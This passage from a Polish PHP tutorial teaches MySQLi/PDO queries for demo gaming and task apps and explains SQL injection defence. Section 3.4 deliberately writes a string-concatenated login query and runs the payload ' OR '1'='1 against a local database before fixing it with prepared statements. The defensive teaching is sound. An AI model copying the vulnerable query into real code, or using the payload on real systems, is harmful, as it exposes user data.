            $limit = 10;
        }
        
        // BEZPIECZNE - używamy walidacji + prepared statement dla limitu
        // Kolumny sortowania są z whitelisty, więc bezpieczne
        $sql = "SELECT * FROM players ORDER BY {$sort} {$order} LIMIT :limit";
        $stmt = $pdo->prepare($sql);
        $stmt->bindValue(':limit', $limit, PDO::PARAM_INT);
        $stmt->execute();
        
        $wyniki = $stmt->fetchAll();
        
        $sort_label = [
            'level' => 'poziomu',
            'coins' => 'coins',
            'wins' => 'wygranych',
            'games_played' => 'rozegranych gier'
        ];
        
        echo "<h1>Ranking graczy (wg {$sort_label[$sort]})</h1>";
        echo "<p>Top {$limit} graczy</p>";
        
        echo '<table border="1" cellpadding="10" style="width:100%; border-collapse:collapse;">';
        echo '<tr style="background:#007bff; color:white;">
                <th>#</th>
                <th>Username</th>
                <th>Level</th>
                <th>Rank</th>
                <th>Coins</th>
                <th>Wins</th>
                <th>Games</th>
              </tr>';
        
        $pozycja = 1;
        foreach ($wyniki as $gracz) {
            $username = htmlspecialchars($gracz['username']);
            $coins = number_format($gracz['coins']);
            
            echo "<tr>";
            echo "<td><strong>#{$pozycja}</strong></td>";
            echo "<td>{$username}</td>";
            echo "<td>{$gracz['level']}</td>";
            echo "<td>{$gracz['rank_name']}</td>";
            echo "<td>{$coins}</td>";
            echo "<td>{$gracz['wins']}</td>";
            echo "<td>{$gracz['games_played']}</td>";
            echo "</tr>";
            $pozycja++;
        }
        
        echo '</table>';
        
        echo "<br><p>Zmień sortowanie:</p>";
        echo "<a href='ranking.php?sort=level&order=desc&limit=10'>Top 10 Level</a> | ";
        echo "<a href='ranking.php?sort=coins&order=desc&limit=5'>Top 5 Coins</a> | ";
        echo "<a href='ranking.php?sort=wins&order=desc&limit=20'>Top 20 Wins</a>";
    }
    
} catch (PDOException $e) {
    error_log("DB Error: {$e->getMessage()}");
    die('Błąd bazy danych');
}

$pdo = null;
?>

Przykład 6: Wyszukiwanie LIKE – dane z GET

Adres URL: szukaj.php?q=Dragon

MySQLi obiektowo:

<?php
// szukaj.php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db->connect_error) {
    die('Błąd połączenia');
}

$db->set_charset('utf8mb4');

// Pobieramy fraze z URL
$szukaj = trim($_GET['q'] ?? '');

if ($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['q'])) {
    // BEZPIECZNE - Prepared statement z LIKE
    $stmt = $db->prepare("SELECT * FROM players WHERE username LIKE ? OR email LIKE ?");
    
    // Dodajemy % do wyszukiwania
    $szukaj_wildcard = "%{$szukaj}%";
    $stmt->bind_param("ss", $szukaj_wildcard, $szukaj_wildcard);
    $stmt->execute();
    
    $wynik = $stmt->get_result();
    
    $safe_search = htmlspecialchars($szukaj);
    
    if ($wynik->num_rows > 0) {
        echo "<h2>Wyniki wyszukiwania: \"{$safe_search}\"</h2>";
        echo "<p>Znaleziono: {$wynik->num_rows} graczy</p><br>";
        
        while ($gracz = $wynik->fetch_assoc()) {
            $username = htmlspecialchars($gracz['username']);
            $email = htmlspecialchars($gracz['email']);
            $coins = number_format($gracz['coins']);
            
            echo "<div style='background:#f4f4f4; padding:15px; margin:10px 0; border-radius:8px;'>";
            echo "<strong>{$username}</strong> (Level: {$gracz['level']}, Rank: {$gracz['rank_name']})<br>";
            echo "{$email} | {$coins} coins<br>";
            echo "<a href='profil.php?id={$gracz['id']}'>Zobacz profil</a>";
            echo "</div>";
        }
    } else {
        echo "<p>Nie znaleziono graczy dla frazy: \"{$safe_search}\"</p>";
    }
    
    $stmt->close();
} else {
    echo "<p>Wpisz frazę do wyszukania (np. szukaj.php?q=Dragon)</p>";
}

$db->close();

echo "<br><hr>";
echo "<p>Przykłady wyszukiwań:</p>";
echo "<a href='szukaj.php?q=Dragon'>szukaj.php?q=Dragon</a><br>";
echo "<a href='szukaj.php?q=Gamer'>szukaj.php?q=Gamer</a><br>";
echo "<a href='szukaj.php?q=@example.com'>szukaj.php?q=@example.com</a>";
?>

PDO:

<?php
// szukaj.php
try {
    $pdo = new PDO(
        'mysql:host=localhost;dbname=gaming_hub;charset=utf8mb4',
        'root',
        '',
        [
            PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES => false
        ]
    );
    
    // Pobieramy fraze z URL
    $szukaj = trim($_GET['q'] ?? '');
    
    if ($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['q'])) {
        // BEZPIECZNE - Prepared statement z LIKE
        $stmt = $pdo->prepare("SELECT * FROM players WHERE username LIKE :szukaj OR email LIKE :szukaj");
        
        // Dodajemy % do wyszukiwania
        $szukaj_wildcard = "%{$szukaj}%";
        $stmt->execute(['szukaj' => $szukaj_wildcard]);
        
        $wyniki = $stmt->fetchAll();
        
        $safe_search = htmlspecialchars($szukaj);
        $liczba = count($wyniki);
        
        if ($liczba > 0) {
            echo "<h2>Wyniki wyszukiwania: \"{$safe_search}\"</h2>";
            echo "<p>Znaleziono: {$liczba} graczy</p><br>";
            
            foreach ($wyniki as $gracz) {
                $username = htmlspecialchars($gracz['username']);
                $email = htmlspecialchars($gracz['email']);
                $coins = number_format($gracz['coins']);
                
                echo "<div style='background:#f4f4f4; padding:15px; margin:10px 0; border-radius:8px;'>";
                echo "<strong>{$username}</strong> (Level: {$gracz['level']}, Rank: {$gracz['rank_name']})<br>";
                echo "{$email} | {$coins} coins<br>";
                echo "<a href='profil.php?id={$gracz['id']}'>Zobacz profil</a>";
                echo "</div>";
            }
        } else {
            echo "<p>Nie znaleziono graczy dla frazy: \"{$safe_search}\"</p>";
        }
    } else {
        echo "<p>Wpisz frazę do wyszukania (np. szukaj.php?q=Dragon)</p>";
    }
    
} catch (PDOException $e) {
    error_log("DB Error: {$e->getMessage()}");
    die('Błąd bazy danych');
}

$pdo = null;

echo "<br><hr>";
echo "<p>Przykłady wyszukiwań:</p>";
echo "<a href='szukaj.php?q=Dragon'>szukaj.php?q=Dragon</a><br>";
echo "<a href='szukaj.php?q=Gamer'>szukaj.php?q=Gamer</a><br>";
echo "<a href='szukaj.php?q=@example.com'>szukaj.php?q=@example.com</a>";
?>

Przykład 7: Statystyki – funkcje agregujące

MySQLi obiektowo:

<?php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db->connect_error) {
    die('Błąd połączenia');
}

$db->set_charset('utf8mb4');

// BEZPIECZNE - Prepared statement (brak parametrów użytkownika)
$stmt = $db->prepare("SELECT 
    COUNT(*) as total_players,
    AVG(level) as avg_level,
    SUM(coins) as total_coins,
    MAX(level) as max_level,
    MIN(level) as min_level,
    SUM(games_played) as total_games,
    SUM(wins) as total_wins,
    SUM(losses) as total_losses
FROM players");

$stmt->execute();
$wynik = $stmt->get_result();
$stats = $wynik->fetch_assoc();

$avg_level = round($stats['avg_level'], 1);
$total_coins = number_format($stats['total_coins']);
$total_games = number_format($stats['total_games']);
$total_wins = number_format($stats['total_wins']);
$total_losses = number_format($stats['total_losses']);

echo "<h2>Statystyki Gaming Hub</h2>";
echo "<div style='background:#f4f4f4; padding:20px; border-radius:8px;'>";
echo "<p>Liczba graczy: <strong>{$stats['total_players']}</strong></p>";
echo "<p>Średni poziom: <strong>{$avg_level}</strong></p>";
echo "<p>Łączne coins: <strong>{$total_coins}</strong></p>";
echo "<p>Najwyższy poziom: <strong>{$stats['max_level']}</strong></p>";
echo "<p>Najniższy poziom: <strong>{$stats['min_level']}</strong></p>";
echo "<p>Rozegrane gry: <strong>{$total_games}</strong></p>";
echo "<p>Wygrane: <strong>{$total_wins}</strong></p>";
echo "<p>Przegrane: <strong>{$total_losses}</strong></p>";
echo "</div>";

$stmt->close();
$db->close();
?>

PDO:

<?php
try {
    $pdo = new PDO(
        'mysql:host=localhost;dbname=gaming_hub;charset=utf8mb4',
        'root',
        '',
        [
            PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES => false
        ]
    );
    
    // BEZPIECZNE - Prepared statement (brak parametrów użytkownika)
    $stmt = $pdo->prepare("SELECT 
        COUNT(*) as total_players,
        AVG(level) as avg_level,
        SUM(coins) as total_coins,
        MAX(level) as max_level,
        MIN(level) as min_level,
        SUM(games_played) as total_games,
        SUM(wins) as total_wins,
        SUM(losses) as total_losses
    FROM players");
    
    $stmt->execute();
    $stats = $stmt->fetch();
    
    $avg_level = round($stats['avg_level'], 1);
    $total_coins = number_format($stats['total_coins']);
    $total_games = number_format($stats['total_games']);
    $total_wins = number_format($stats['total_wins']);
    $total_losses = number_format($stats['total_losses']);
    
    echo "<h2>Statystyki Gaming Hub</h2>";
    echo "<div style='background:#f4f4f4; padding:20px; border-radius:8px;'>";
    echo "<p>Liczba graczy: <strong>{$stats['total_players']}</strong></p>";
    echo "<p>Średni poziom: <strong>{$avg_level}</strong></p>";
    echo "<p>ączne coins: <strong>{$total_coins}</strong></p>";
    echo "<p>Najwyższy poziom: <strong>{$stats['max_level']}</strong></p>";
    echo "<p>Najniższy poziom: <strong>{$stats['min_level']}</strong></p>";
    echo "<p>Rozegrane gry: <strong>{$total_games}</strong></p>";
    echo "<p>Wygrane: <strong>{$total_wins}</strong></p>";
    echo "<p>Przegrane: <strong>{$total_losses}</strong></p>";
    echo "</div>";
    
} catch (PDOException $e) {
    error_log("DB Error: {$e->getMessage()}");
    die('Błąd bazy danych');
}

$pdo = null;
?>

Whitelist vs Blacklist

Whitelist (ZALECANE):

// Lista dozwolonych wartości
$allowed_sort = ['level', 'coins', 'wins'];

if (in_array($_GET['sort'], $allowed_sort)) {
    $sort = $_GET['sort'];  // Bezpieczne
} else {
    $sort = 'level';  // Domyślna wartość
}

Blacklist (NIE ZALECANE):

// Próba blokowania "złych" wartości - NIGDY nie złapiesz wszystkich!
if ($_GET['sort'] != 'DROP' && $_GET['sort'] != 'DELETE') {
    $sort = $_GET['sort'];  // NADAL NIEBEZPIECZNE!
}

Najlepsze praktyki

ZAWSZE:

1. Używaj prepared statements dla WSZYSTKICH zapytań z danymi użytkownika
2. Używaj PDO dla nowych projektów (uniwersalność + bezpieczeństwo)
3. Używaj htmlspecialchars() przy wyświetlaniu danych (ochrona XSS)
4. Waliduj dane wejściowe (whitelist dla sortowania, LIMIT, itp.)
5. Ustawiaj charset na utf8mb4 (obsługa emoji i polskich znaków)
6. Loguj błędy do pliku, nie pokazuj szczegółów użytkownikowi
7. Używaj number_format() dla czytelności dużych liczb
8. Rzutuj na właściwy typ – (int) dla liczb, trim() dla stringów

NIGDY:

1. Nie łącz zapytań SQL przez konkatenację z danymi użytkownika
2. Nie pokazuj szczegółów błędów SQL użytkownikowi końcowemu
3. Nie trzymaj danych dostępowych w kodzie (użyj config.php)
4. Nie commituj config.php do repozytorium
5. Nie używaj root bez hasła w środowisku produkcyjnym
6. Nie ufaj danym z $_GET i $_POST – zawsze waliduj!

TaskQuest 1.8 — każdy gracz widzi swoje dane z bazy

KARTA PRACY

Po Lekcji 17 TaskQuest ma bazę danych taskquest z dwiema tabelami i danymi testowymi Kamy i Oli. Aplikacja jednak w ogóle z niej nie korzysta: zadania czyta z data/zadania.csv, a XP i streak są wpisane w index.php. Kuba i Ola po zalogowaniu nadal widzą te same zadania i te same 99 XP.

Dziś połączymy PHP z bazą i przełączymy stronę główną na dane z bazy. Po tej lekcji każdy użytkownik zobaczy własne zadania, własne XP i własny streak.

Cel lekcji

Nauczyć się:

• łączyć się z bazą w PHP obiektowym mysqli (new mysqli(...)) i obsługiwać błąd połączenia wyjątkiem,
• pisać zapytania SELECT z WHERE, AND, IS NULL, ORDER BY i LIMIT,
• odczytywać wynik zapytania wiersz po wierszu (fetch_assoc()) i zamieniać wiersze w obiekty Zadanie i Uzytkownik,
• rozpoznać SQL injection i przed nim się chronić: dane od użytkownika zawsze przekazujemy przez prepared statements (prepare(), bind_param(), execute(), get_result()),
• zapisywać typ „wartość albo null” w PHP (?string, ?int).

Efekt: logowanie sprawdza login w bazie, index.php pobiera z bazy zalogowanego użytkownika i tylko jego zadania, a pod listą zadań pojawia się ranking najlepszych graczy.

Uwaga — co jest, a czego jeszcze nie ma:

• Dziś tylko czytamy z bazy (SELECT). Zapis (INSERT, UPDATE, DELETE) to Lekcja 19. Dlatego dodawanie zadań jest w tej wersji wyłączone z nawigacji: formularz dodaj-zadanie.php nadal zapisuje do CSV, a strona główna czyta już z bazy. W Lekcji 19 formularz przejdzie na INSERT i wróci na stronę.
• Logowanie nadal jest demonstracyjne: bez hasła. Różnica: login musi istnieć w bazie. Hasła — Lekcja 19 i 22.
• Streak nadal jest liczony uproszczoną metodą z poprzednich lekcji. Prawdziwy streak (data wykonania zadania) — Lekcja 19.
• mysqli używamy wyłącznie obiektowo. W internecie (i w starszych materiałach) zobaczysz mysqli_connect(), @new mysqli(...) i sprawdzanie connect_error. My obsługujemy błędy wyjątkami, tak jak od Lekcji 12.

Rozgrzewka — 4 pytania z Lekcji 17

1. Dlaczego w tabeli zadania jest kolumna data_wykonania, a nie ma kolumny wykonane? Jak w PHP obliczymy wykonane?
2. Kama ma id = 1, Ola ma id = 2. Która kolumna tabeli zadania mówi, czyje jest zadanie?
3. Czym dla bazy różnią się NULL, '' i 'NULL'?
4. diagnostyka.php pokazuje [OK] przy mysqli. Czego to jeszcze nie gwarantuje?

1. Wracamy do naszego TaskQuest

Co zostaje, co dochodzi, co zmieniamy

Element	Po Lekcji 17	Po Lekcji 18
baza taskquest, sql/taskquest.sql	istnieje, nieużywana	zostaje bez zmian — teraz aplikacja z niej czyta
klasa Zadanie	istnieje	zostaje bez zmian
klasa Uzytkownik	bez id, dataOstatniejAktywnosci typu string	zmiana: dochodzi id + pobierzId(), data jako ?string
symulowane xp: 99, streak: 5, ... w index.php	źródło danych gracza	usuwamy — dane gracza z tabeli uzytkownicy
wczytajZadania(PLIK_ZADAN) w index.php	źródło zadań	zmiana: index.php czyta zadania z bazy; funkcja zostaje (używa jej jeszcze dodaj-zadanie.php)
includes/funkcje_bazy.php	nie ma	dochodzi: połączenie + 4 funkcje z SELECT
config/config.php	3 stałe	dochodzą 4 stałe z danymi dostępowymi do bazy
logowanie	login + imię, każdy login „wchodzi”	zmiana: tylko login, musi istnieć w bazie; w sesji tylko uzytkownik_id
wszystkie funkcje listy (sortujPoTerminie() itd.), grywalizacji, terminów	istnieją	zostają bez zmian

Najważniejsza zasada tej lekcji jest ta sama co w Lekcji 17 (sekcja 6): zmienia się źródło danych, obiekty zostają te same. Dlatego większość index.php — liczniki, filtr widoku, pasek XP, lista — nie zmieni się ani o znak.

Docelowa struktura projektu

taskquest/
├── index.php                        (zmiana: dane z bazy, bez linku „+ Dodaj zadanie”, ranking)
├── dodaj-zadanie.php                bez zmian (nadal CSV; wyłączony z nawigacji do L19)
├── zaloguj.php                      (zmiana: login sprawdzany w bazie, bez pola „imię”)
├── wyloguj.php                      bez zmian
├── diagnostyka.php                  (zmiana: 19 wymaganych plików)
├── classes/
│   ├── Zadanie.php                  bez zmian
│   └── Uzytkownik.php               (zmiana: id, ?string)
├── config/
│   └── config.php                   (zmiana: stałe BAZA_...)
├── includes/
│   ├── footer.php                   (zmiana: „TaskQuest 1.8”)
│   ├── funkcje_bazy.php             NOWY
│   ├── funkcje_sesji.php            (zmiana: czyZalogowany())
│   ├── funkcje_tekstowe.php         (zmiana: walidujDaneLogowania())
│   └── ... pozostałe                bez zmian
├── sql/
│   └── taskquest.sql                bez zmian
└── data/
    └── zadania.csv                  bez zmian (czyta go już tylko dodaj-zadanie.php)

Przygotowanie (zrób to teraz)

1. Zrób kopię zapasową katalogu taskquest/ jako taskquest_lekcja17/ (obok, nie w środku).
2. Uruchom w XAMPP Apache i MySQL.
3. W phpMyAdmin uruchom ponownie cały sql/taskquest.sql (baza taskquest → zakładka SQL). Zaczynamy od czystych danych testowych.

2. Problem w aplikacji

Ola loguje się do TaskQuest jako Ola_TQ. Co widzi?

Co widzi Ola	Co jest w bazie dla Oli
„Witaj, Ola!”	imię Ola
99 XP, poziom 1	250 XP, poziom 3
streak 5	streak 0
zadania Kamy z CSV	jedno własne zadanie „Zaprojektować bazę TaskQuest”

Imię się zgadza tylko dlatego, że Ola sama je wpisała w formularzu. Co więcej, ktoś może się zalogować jako Nieistniejacy_123 — takiego konta nie ma nigdzie, a TaskQuest i tak go wpuści.

Potrzebujemy trzech rzeczy:

1. połączenia PHP z bazą,
2. zapytania, które zwróci dane jednego konkretnego użytkownika i tylko jego zadania,
3. bezpiecznego sposobu wstawienia do zapytania danych z zewnątrz (login wpisany w formularzu, id z sesji) — bo, jak zaraz zobaczysz, najprostszy sposób jest groźny.

3. Nowy mechanizm: SELECT i mysqli

3.1 SELECT — zadajemy bazie pytania (phpMyAdmin)

W Lekcji 17 używaliśmy tylko SELECT *. Teraz poznamy pełniejszą postać. Otwórz phpMyAdmin → baza taskquest → zakładka SQL. Przed uruchomieniem każdego zapytania przewidź, ile wierszy zwróci.

SELECT tytul, termin FROM zadania;
SELECT tytul, termin FROM zadania WHERE uzytkownik_id = 1;
SELECT tytul, termin FROM zadania WHERE uzytkownik_id = 1 AND data_wykonania IS NULL;
SELECT tytul, termin FROM zadania WHERE uzytkownik_id = 1 ORDER BY termin;
SELECT login, xp FROM uzytkownicy ORDER BY xp DESC LIMIT 1;

Fragment	Znaczenie	Odpowiednik w TaskQuest
SELECT tytul, termin	które kolumny chcemy dostać	—
FROM zadania	z której tabeli	który plik CSV
WHERE uzytkownik_id = 1	tylko wiersze spełniające warunek	array_filter() w pobierzAktywneZadania()
AND	oba warunki muszą być spełnione	&& w PHP
IS NULL / IS NOT NULL	czy wartość jest pusta (NULL)	=== null / !== null w PHP
ORDER BY termin	sortowanie rosnące (domyślnie ASC)	sortujPoTerminie()
ORDER BY xp DESC	sortowanie malejące	—
LIMIT 1	najwyżej tyle wierszy	—

Kolejność części jest stała: SELECT ... FROM ... WHERE ... ORDER BY ... LIMIT .... Zamiana miejscami daje błąd składni.

Dlaczego wymieniamy kolumny zamiast *? Pobieramy tylko to, czego potrzebujemy. W tabeli uzytkownicy jest kolumna haslo_hash — od Lekcji 19 będzie w niej skrót hasła. SELECT * przy wyświetlaniu rankingu przeciągnąłby go do PHP zupełnie niepotrzebnie.

Pułapka: sprawdź teraz

SELECT tytul FROM zadania WHERE data_wykonania = NULL;

Wynik: zero wierszy, bez błędu, choć niewykonane zadania istnieją. NULL oznacza „nie wiadomo”, a „czy nie wiadomo jest równe nie wiadomo?” daje w SQL odpowiedź „nie wiadomo”, czyli nie „prawda”. Do NULL używamy tylko IS NULL / IS NOT NULL. To jeden z najczęstszych błędów początkujących, bo baza nic nie zgłasza.

3.2 Połączenie z bazą w PHP

W katalogu taskquest/ utwórz brudnopis.php:

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);

$polaczenie = new mysqli('localhost', 'root', '', 'taskquest');
$polaczenie->set_charset('utf8mb4');

echo 'Połączono. Serwer: ' . $polaczenie->server_info;

Uruchom http://localhost/taskquest/brudnopis.php.

Linia	Po co
mysqli_report(...)	ustawia, jak mysqli zgłasza błędy: MYSQLI_REPORT_ERROR — zgłaszaj błędy, MYSQLI_REPORT_STRICT — jako wyjątki. Od PHP 8.1 to ustawienie domyślne, ale piszemy je jawnie: kod nie zależy od wersji PHP, a czytający od razu wie, czego się spodziewać
new mysqli(host, użytkownik, hasło, baza)	tworzy obiekt połączenia (klasa mysqli, tak jak od Lekcji 15 tworzysz new Zadanie(...)). XAMPP ma domyślnie użytkownika root bez hasła
set_charset('utf8mb4')	PHP i baza umawiają się na kodowanie znaków. Bez tego polskie litery i emoji mogą przychodzić zniekształcone — zależnie od ustawień serwera
$polaczenie->server_info	właściwość obiektu: wersja serwera. Tu tylko dowód, że połączenie działa

Teraz zmień nazwę bazy na taskquestt i uruchom ponownie. Zobaczysz Fatal error: Uncaught mysqli_sql_exception: Unknown database 'taskquestt'. To znany Ci mechanizm z Lekcji 12: wyjątek, którego nikt nie złapał. mysqli_sql_exception to klasa wyjątku z rozszerzenia mysqli; jest rodzajem Exception, więc złapie go zwykłe catch (Exception $wyjatek). Przywróć nazwę taskquest.

Połączenie zamyka się samo, gdy skrypt się kończy. Można je zamknąć wcześniej: $polaczenie->close();. W TaskQuest jedno żądanie = jedno krótkie połączenie, więc zostawiamy to PHP.

3.3 Pierwsze zapytanie z PHP

Dopisz do brudnopisu:

$wynik = $polaczenie->query('SELECT id, login, imie, xp FROM uzytkownicy');

echo '<p>Liczba użytkowników: ' . $wynik->num_rows . '</p>';

while ($wiersz = $wynik->fetch_assoc()) {
    echo "<p>{$wiersz['id']}. {$wiersz['login']} ({$wiersz['imie']}) — {$wiersz['xp']} XP</p>";
}

Po drodze powstają trzy różne rzeczy:

$polaczenie  (obiekt mysqli)        ──query()──►  $wynik  (obiekt mysqli_result)
$wynik                              ──fetch_assoc()──►  $wiersz  (tablica asocjacyjna, klucze = nazwy kolumn)
                                                        albo null, gdy wiersze się skończyły

• query() wysyła zapytanie i zwraca wynik — coś w rodzaju otwartego pliku CSV, z którego czytamy wiersz po wierszu.
• fetch_assoc() zwraca kolejny wiersz, a po ostatnim zwraca null. Dlatego while ($wiersz = $wynik->fetch_assoc()) działa jak pętla po fgetcsv() z Lekcji 11: przypisz, sprawdź, powtarzaj.
• num_rows — liczba wierszy wyniku.

Dopisz na końcu brudnopisu i przewidź, co pokaże:

$wynik = $polaczenie->query('SELECT id, xp, data_ostatniej_aktywnosci FROM uzytkownicy');
var_dump($wynik->fetch_assoc());
var_dump($wynik->fetch_assoc());
var_dump($wynik->fetch_assoc());

Wynik: id i xp przyszły jako teksty (string(1) "1", string(2) "99"), data jako tekst "2026-09-14", NULL u Oli jako PHP-owe null, a trzecie wywołanie zwraca null (użytkowników jest dwóch). Zapamiętaj te teksty — w 3.5 zobaczysz różnicę.

3.4 Dane od użytkownika w zapytaniu — i dlaczego tak NIE robimy

TaskQuest musi znaleźć użytkownika po loginie wpisanym w formularzu. Najprostszy pomysł: wkleić login do tekstu zapytania. Zastąp zawartość brudnopisu:

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$polaczenie = new mysqli('localhost', 'root', '', 'taskquest');
$polaczenie->set_charset('utf8mb4');

// ŹLE — wyłącznie do tej demonstracji!
$login = $_GET['login'] ?? '';
$sql = "SELECT id, login, xp FROM uzytkownicy WHERE login = '$login'";

echo "<p>Zapytanie: $sql</p>";

$wynik = $polaczenie->query($sql);
echo "<p>Znaleziono: {$wynik->num_rows}</p>";

while ($wiersz = $wynik->fetch_assoc()) {
    echo "<p>{$wiersz['login']} — {$wiersz['xp']} XP</p>";
}

Uruchamiaj po kolei i za każdym razem czytaj linię „Zapytanie: …”:

Adres	Wynik	Co się stało
brudnopis.php?login=Ola_TQ	1 wiersz	działa
brudnopis.php?login=Nowy_1	0 wierszy	działa
brudnopis.php?login=O'Neil	Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax...	apostrof z loginu zamknął tekst w SQL za wcześnie
brudnopis.php?login=' OR '1'='1	2 wiersze — wszyscy użytkownicy	patrz niżej

Spójrz na ostatnie zapytanie:

SELECT id, login, xp FROM uzytkownicy WHERE login = '' OR '1'='1'

Tekst wpisany przez użytkownika stał się częścią polecenia SQL. Warunek '1'='1' jest zawsze prawdziwy, więc zapytanie zwraca wszystkich. To SQL injection (wstrzykiwanie SQL) — od lat jedna z najczęściej wykorzystywanych podatności aplikacji webowych. Tą samą metodą da się ominąć logowanie albo wyciągnąć dane z innych tabel.

Ktoś powie: „przecież walidujLogin() nie przepuści apostrofu”. To prawda — dla loginu. Ale wyszukiwarka zadań (zadanie końcowe A) musi przyjąć dowolny tekst, a opis zadania może zawierać apostrof. Walidacja to pierwsza linia obrony, a zapytanie ma być bezpieczne samo z siebie.

Testuj takie rzeczy wyłącznie na własnej, lokalnej bazie. Próba włamania do cudzego systemu jest przestępstwem.

3.5 Prepared statements — dane osobno, polecenie osobno

Problem wziął się z tego, że polecenie i dane zostały sklejone w jeden tekst. Prepared statement (zapytanie przygotowane) rozdziela je:

1. prepare()     wysyłamy SZABLON polecenia:  ... WHERE login = ?
                 baza analizuje go i zapamiętuje — to jest już gotowe polecenie
2. bind_param()  podpinamy dane pod znak ?
3. execute()     wysyłamy dane osobno; baza wstawia je jako WARTOŚĆ, nigdy jako kod
4. get_result()  odbieramy wynik — dalej jak w 3.3 (fetch_assoc())

Cokolwiek wpisze użytkownik, baza porówna to z loginem jako zwykły tekst. ' OR '1'='1 to po prostu dziwny login, którego nikt nie ma.

Zamień w brudnopisie część od // ŹLE do końca na:

$login = $_GET['login'] ?? '';

$zapytanie = $polaczenie->prepare('SELECT id, login, xp FROM uzytkownicy WHERE login = ?');
$zapytanie->bind_param('s', $login);
$zapytanie->execute();
$wynik = $zapytanie->get_result();

echo "<p>Znaleziono: {$wynik->num_rows}</p>";

while ($wiersz = $wynik->fetch_assoc()) {
    var_dump($wiersz);
}

bind_param() ma dwa rodzaje argumentów:

• tekst z typami — po jednej literze na każdy ?, w tej samej kolejności: s — tekst (string), i — liczba całkowita (integer), d — liczba z przecinkiem (double),
• zmienne z wartościami, w tej samej kolejności co znaki ?.

Przykład z dwoma parametrami: WHERE uzytkownik_id = ? AND tytul = ? → bind_param('is', $uzytkownikId, $tytul).

Powtórz cztery adresy z tabeli w 3.4. Oczekiwane: Ola_TQ → 1, Nowy_1 → 0, O'Neil → 0, bez błędu, ' OR '1'='1 → 0.

Teraz spójrz na var_dump przy Ola_TQ: ["id"]=> int(2), ["xp"]=> int(250). W 3.3 były teksty, tu są liczby. Prepared statements przesyłają wynik w innym formacie (tzw. protokół binarny) i mysqli zamienia kolumny INT na PHP-owe int. Daty (DATE) nadal przychodzą jako tekst RRRR-MM-DD, a NULL jako null. Dla TaskQuest to wygodne: typy pasują do właściwości Zadanie i Uzytkownik.

Zasada TaskQuest od dziś: każde zapytanie, w którym jest jakakolwiek wartość z zewnątrz (formularz, adres, cookie, sesja), piszemy jako prepared statement. Sklejanie SQL ze zmiennymi ("... '$login'") jest zakazane. query() zostaje tylko dla zapytań bez żadnych zmiennych — a dla porządku i tak w TaskQuest ich nie używamy.

Typowe błędy

Błąd	Skutek
WHERE login = '?' (znak zapytania w apostrofach)	to już nie parametr, tylko tekst „?”; bind_param() zgłasza błąd o niezgodnej liczbie parametrów
liczba liter w typach ≠ liczba ?	błąd o niezgodnej liczbie parametrów
bind_param('i', 5) — wartość zamiast zmiennej	Error: argumentu nie da się przekazać przez referencję. bind_param() wymaga zmiennych
$zapytanie->fetch_assoc() bez get_result()	Error: taka metoda nie istnieje. fetch_assoc() ma wynik, nie zapytanie
WHERE data_wykonania = NULL	zawsze 0 wierszy, bez błędu (3.1)
SELECT * „bo wygodniej”	pobieramy kolumny, których nie potrzebujemy (np. haslo_hash)

4. SAMODZIELNIE — zadania wybranego użytkownika jako obiekty

Nadal w brudnopisie. Napisz skrypt, który:

1. dołącza classes/Zadanie.php i includes/funkcje_tekstowe.php,
2. łączy się z bazą jak w 3.2,
3. bierze id użytkownika z adresu (brudnopis.php?id=1); jeśli id nie składa się z samych cyfr, wyświetla Nieprawidłowe id. i kończy działanie,
4. prepared statementem pobiera kolumny id, tytul, opis, termin, data_wykonania, xp zadań tego użytkownika,
5. z każdego wiersza tworzy obiekt Zadanie (argumenty nazwane, jak w Lekcji 17, sekcja 6) i dopisuje go do tablicy $zadania,
6. na końcu wyświetla liczbę zadań i dla każdego: [X] albo [ ] oraz oczyszczony tytuł.

Oczekiwane: ?id=1 — zadania Kamy (tyle, ile w bazie), ?id=2 — jedno zadanie Oli z [ ], ?id=3 — Zadań: 0, ?id=abc — Nieprawidłowe id.

HINT

Sprawdzanie liczby z adresu robiłaś/robiłeś w Lekcji 13 (wyrażenie regularne przed (int)). Pętla po wynikach wygląda jak w 3.3, tylko zamiast echo jest $zadania[] = new Zadanie(...). Który typ ma parametr: s czy i?

POMOC

$zapytanie = $polaczenie->prepare('SELECT ... FROM zadania WHERE uzytkownik_id = ?');
$zapytanie->bind_param('i', $uzytkownikId);

wykonane: $wiersz['data_wykonania'] !== null,

ROZWIĄZANIE

<?php

require_once __DIR__ . '/classes/Zadanie.php';
require_once __DIR__ . '/includes/funkcje_tekstowe.php';

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$polaczenie = new mysqli('localhost', 'root', '', 'taskquest');
$polaczenie->set_charset('utf8mb4');

$idZAdresu = $_GET['id'] ?? '';

if (!preg_match('/^\d+$/', $idZAdresu)) {
    echo 'Nieprawidłowe id.';
    exit;
}

$uzytkownikId = (int) $idZAdresu;

$zapytanie = $polaczenie->prepare(
    'SELECT id, tytul, opis, termin, data_wykonania, xp FROM zadania WHERE uzytkownik_id = ?'
);
$zapytanie->bind_param('i', $uzytkownikId);
$zapytanie->execute();
$wynik = $zapytanie->get_result();

$zadania = [];

while ($wiersz = $wynik->fetch_assoc()) {
    $zadania[] = new Zadanie(
        id: $wiersz['id'],
        tytul: $wiersz['tytul'],
        opis: $wiersz['opis'],
        termin: $wiersz['termin'],
        wykonane: $wiersz['data_wykonania'] !== null,
        xp: $wiersz['xp'],
    );
}

echo '<p>Zadań: ' . count($zadania) . '</p>';

foreach ($zadania as $zadanie) {
    $znacznik = $zadanie->czyWykonane() ? '[X]' : '[ ]';
    echo '<p>' . $znacznik . ' ' . wyczyscTytul($zadanie->pobierzTytul()) . '</p>';
}

